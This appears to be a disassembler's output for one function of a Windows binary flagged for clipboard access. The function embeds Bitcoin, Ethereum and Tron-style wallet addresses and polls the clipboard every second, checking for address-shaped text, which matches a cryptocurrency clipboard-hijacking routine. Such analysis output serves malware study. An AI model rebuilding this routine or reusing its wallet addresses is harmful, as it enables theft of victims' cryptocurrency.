Function at 0x140003860
Capabilities:
Open clipboard

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x68
lea r15, [0x140008060]
call fcn.140002270
lea rsi, [rsp + 0x40]
lea rdx, str.1NaMParJDmpd4aARBdFfam5SBze1TZVPQ1
mov rcx, rsi
call fcn.140001600
mov rdx, rsi
mov rcx, r15
call fcn.140002070
mov rcx, rsi
call fcn.140002198
lea rdx, str.0xb90562f1487cf93d3b8f7703803da3b22a6972e8
mov rcx, rsi
call fcn.140001600
mov rdx, rsi
mov rcx, r15
call fcn.140002070
mov rcx, rsi
call fcn.140002198
lea rdx, str.TMFUckU8ioHjgH4dbmDeZ2v1M1QHLkPbv3
mov rcx, rsi
call fcn.140001600
mov rdx, rsi
mov rcx, r15
call fcn.140002070
mov rcx, rsi
lea r12, [rsp + 0x20]
lea rbx, [rsp + 0x50]
call fcn.140002198
call fcn.140001750
call fcn.140001ef0
mov r13, qword [sym.imp.libstdc_6.dll_std::cout]
mov r14, qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140003961
movsx edx, byte [rbp + 0x43]
mov rcx, rdi
call fcn.1400021a8
mov rcx, rax
call fcn.1400021a0
mov ecx, 0x3e8
call r14
mov rcx, qword [rsp + 0x40]
cmp rcx, rbx
je 0x140003944
mov rax, qword [rsp + 0x50]
lea rdx, [rax + 1]
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
mov rcx, qword [rsp + 0x20]
lea rax, [rsp + 0x30]
cmp rcx, rax
je 0x140003961
mov rax, qword [rsp + 0x30]
lea rdx, [rax + 1]
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
mov rcx, r12
call fcn.140001b70
mov rdx, qword [rsp + 0x20]
mov r8, qword [rsp + 0x28]
mov rcx, rsi
mov qword [rsp + 0x40], rbx
add r8, rdx
call fcn.1400014c0
mov rcx, rsi
call fcn.140001c20
mov rcx, qword [rsp + 0x40]
cmp rcx, rbx
je 0x1400039a3
mov rax, qword [rsp + 0x50]
lea rdx, [rax + 1]
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
mov rdx, qword [rsp + 0x20]
mov r8, qword [rsp + 0x28]
mov rcx, rsi
mov qword [rsp + 0x40], rbx
add r8, rdx
call fcn.1400014c0
mov rcx, rsi
call fcn.140001cf0
mov rcx, qword [rsp + 0x40]
cmp rcx, rbx
je 0x1400039dd
mov rax, qword [rsp + 0x50]
lea rdx, [rax + 1]
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
mov rdx, qword [rsp + 0x20]
mov r8, qword [rsp + 0x28]
mov rcx, rsi
mov qword [rsp + 0x40], rbx
add r8, rdx
call fcn.1400014c0
mov rcx, rsi
call fcn.140001da0
mov rcx, qword [rsp + 0x40]
cmp rcx, rbx
je 0x140003a17
mov rax, qword [rsp + 0x50]
lea rdx, [rax + 1]
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
mov rdx, qword [rsp + 0x20]
mov r8, qword [rsp + 0x28]
mov rcx, rsi
mov qword [rsp + 0x40], rbx
add r8, rdx
call fcn.1400014c0
cmp qword [rsp + 0x48], 0x22
mov rcx, qword [rsp + 0x40]
je 0x140003b08
cmp rcx, rbx
je 0x140003a55
mov rax, qword [rsp + 0x50]
lea rdx, [rax + 1]
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
mov rdx, r12
mov rcx, rsi
call fcn.140001f20
mov r8d, 0x31
lea rdx, str.Binary_representation_of_the_hexadecimal_address
mov rcx, r13
call fcn.140002160
mov r8, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x20]
mov rcx, r13
call fcn.140002160
mov r8d, 2
lea rdx, [0x140005182]
mov rcx, rax
mov rdi, rax
call fcn.140002160
mov r8, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
mov rcx, rdi
call fcn.140002160
mov rdi, rax
mov rax, qword [rax]
mov rax, qword [rax - 0x18]
mov rbp, qword [rdi + rax + 0xf0]
test rbp, rbp
je 0x140003b3a
cmp byte [rbp + 0x38], 0
jne 0x140003910
mov rcx, rbp
call fcn.1400021b0
mov rax, qword [rbp]
lea rcx, [0x140003410]
mov edx, 0xa
mov rax, qword [rax + 0x30]
cmp rax, rcx
je 0x140003914
mov rcx, rbp
call rax
movsx edx, al
jmp 0x140003914
cmp byte [rcx], 0x54
jne 0x140003a42
mov rax, qword [r15]
xor ecx, ecx
mov rdi, qword [rax + 0x40]
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
jne 0x140003b30
mov rcx, qword [rsp + 0x40]
jmp 0x140003a42
mov rcx, rdi
call fcn.140001450
jmp 0x140003b24
call fcn.140002158
mov rcx, rsi
mov rbx, rax
call fcn.140002198
mov rcx, r12
call fcn.140002198
mov rcx, rbx
call sub.libgcc_s_seh_1.dll__Unwind_Resume
jmp 0x140003b3f